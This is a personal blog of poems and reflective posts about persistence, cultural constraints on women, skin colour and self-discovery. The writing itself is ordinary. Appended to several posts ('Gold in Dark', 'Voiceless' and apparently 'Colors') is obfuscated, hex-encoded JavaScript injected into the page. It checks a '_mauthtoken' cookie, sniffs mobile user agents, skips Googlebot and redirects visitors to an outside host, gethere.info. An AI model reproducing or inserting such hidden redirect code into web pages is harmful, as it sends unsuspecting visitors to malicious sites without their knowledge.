GOLD IN DARK..

13631495_1013884405396251_956248696107895384_n

I have learnt in all the years that I have lived in this world that you can achieve anything if you are persistent enough..even your wildest dreams can become reality if you are patient enough n keep going after them. No matter how dark your life might seem at he moment there’s always light at the end of the tunnel..that is..if you are ready o walk that far..
No mater how many times you stumble in dark..how many times you fall deeper into that black hole..a day will come when you will reach out and find that you have reached your destination. Never fall prey to the confusing..distracting maze of your chaotic mind.that will only leave you with self pity..withdrawal and guilt…stay away from that spiral of doom .
No amount of strength alone can make you overcome and defeat this shroud of darkness and defeat but only persistence..determination and tenacity will get you through.no matter how many heartaches and pain and bad eggs life offer you..keep at it…that’s the key..
Being a medical student makes it difficult for me o fulfill what dreams i had. What plans I had made for my future and that’s where I never loose hope..thou as slowly as I’am but I keep going and going and don’t stop…I wont stop and may be one day I’d be able to see my dreams unfold before me into reality…oh the taste of this sweet realization !!
Being a girl I’m not allowed to do so much in the culture I’m being brought up…so many things I myself hesitate to do..afraid of the outcomes.But one step at a time and I’m inching towards what I want and what I planned to do with my life.
No matter how many hurdles n stop signs I counter in my journey..I know SLOW AND STEADY wins the race.No amount of darkness can dull my sparkle..I’m a blinding shade of gold..and I always will be…var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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My Skin..

my skin…
my skin makes me who I am today..
it makes me stand out because its my unique color..
this color was mixed in a palette just for me..
this is my shade..
it gives me freedom to express myself as i am ..
stained…
marked…
the red hue it gets when I’m angry at the unfairness of he world…or when my heart flutters by someones sweet hushed whisper is mine..
the pale sickly tinge i get when i feel the earth beneath my feet giving away..is mine..
I’m recognized…by the color of my skin..
i don’t need no products to lighten it up;…
no creams or overnight formulas to get fairer…
i like the tan i get when i walk on the beach for hours..
i like the splatter of freckles…rendering me perfect in my very own imperfection..
it is my ancestors color..
my race..
my ethnicity..
it links me to my forefathers…
I’m proud…of the contours of my face…
the highlights of my skin..
my natural glow..
I’m proud..
to represent this color…
to be who I am…

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Voiceless..

The women in my family take exceptional pride in putting there entire existence into keeping her home …her marriage intact.

They suffer in desolation…                            Kitchens are there secret bearers..              They laugh when no ones watching or else they are told to not be so *vulgar*.    Absorb all pain ,heartaches , disappointment  and still go about there travail routine like nothing has happened..there world inside might b crumbling but you’ll see them stand tall..strong..

The let there regrets..there unfulfilled dreams there ambition gmaw at there flesh while they put dressings on the wounds of their loved ones..silencing there crashing waves of aspirations.          Put a thick cover on their inner light so it won’t shine out..they quietly get confined in a cage..a cage too small to contain their existence but they do it all the same…sawing there own wings..sewing there own lips..

For you may ask?

For this culture…society…                             For the women who passed the fear of voice..expression like some genetic trait in then..

They don’t have voices..you identify them with there empty harrowing eyes staring at you…                                                   THOSE are women I am descendant of.. Women who have stayed quite…

Women who have forgotten they have a mouth…they have a voice..

Women who take pride at being corroded into shadows!!!var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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|\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g 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just recently  read this book n fell in lov with these lines *_*

“If I could cut from my brain the phantom of competition, the ego-center of self-consciousness, and become a vehicle, a pure vehicle of others, the outer world. My interest in other people is too often one of comparison, not of pure intrigue with the unique otherness of identity. Here, ideally, I should forget the outer world of appearances, publishing, checks, success. And be true to an inner heart. Yet I fight against a simple-mindedness, a narcissism, a protective shell against competing, against being found wanting. To write for itself, to do things for the joy of them. What a gift of the gods.”

—  Sylvia Plath, from The Unabridged Journals Of Sylvia Plath (viaviolentwavesofemotion)

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YOU ARE NEVER GOOD ENOUGH!

some events recently made me realize that sometimes you have to stop and tell yourself that THESE ARE MY LIMITS and I will go no farther then this!u must approach some matters with the attitude that “I am willing to give only a limited amount of my life’s energy to these goals. Anything that is still undone beyond that is someone else’s problem.” In some situations these limits will cause us to do less that a fair share or give less than an average contribution. And we must hold to our boundaries even if it becomes apparent that no one else is willing to step into the breach. In a world of unbounded needs and opportunities, many good and worthwhile things will go undone. Many people will suffer no matter what!This will always be true, no matter how much time and energy u commit.Sometimes its good to get it through that there’s nothing u can do to put things straight! it’s beyond your reach! because if you don;t..you will exhaust yourself n deny yourself the right to happiness..

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strangers..

such a strange world … full of strange people with their strange strange minds…fascinating!!

and who am I? a stranger to all that goes on..

a stranger to all these customs…traditions..

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COLORS..

As i grew up with time..i started filling my life’s black and white canvas with colors..
As i started writing…the blue ink of my pen tinged my life’s sky blue…reflecting my yearning to discover new skies n horizons..tracing my fingers over the countries on the globe in my fathers study…ticking off places in my mind to go to..
The green came when i first ran barefoot on grass…taking in the serenity…the emerald coolness beneath my feet made me wonder if the grass was as green n as refreshing in places far form home..
As time made me wiser..i dug into my brain..staining my fingers…filling every nook and corner of my life with the grey hue of my aspirations…ambitions and dreams..unclear yet there with a solid color…
RED…bright red…color of blood that rushed to my heart when it started beating faster…color of my cheeks turned red with emotions as i first fell in love…the hot red staining everything as it engulfed my life…seeping into my life..making it brighter…bloodier..RED.
My dreams..oh sweet dreams!! providing me with every colour of the rainbow! providing opportunities..carving possibilities…i was able to make new shades..shades that sated my hunger..chrome that defined me…made me who i was..coloring my world,even the places left forgotten by me..
As the dawn broke i was discovering myself… exploring my existence..feeling every bit of myself with my prodding fingers…Now its sunset and I’m bathed with colors…far from black and white..colors of self recognition…shades of self realization…the purples and oranges..odd combinations signifying that its ok to be who you are…its ok to embrace yourself..life is not a struggle to fit in..rather a chance to stand out..drenched in your own colors…COLORS OF YOUR SOUL….var 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from where I am watching.

mylife.myworld.myveiw

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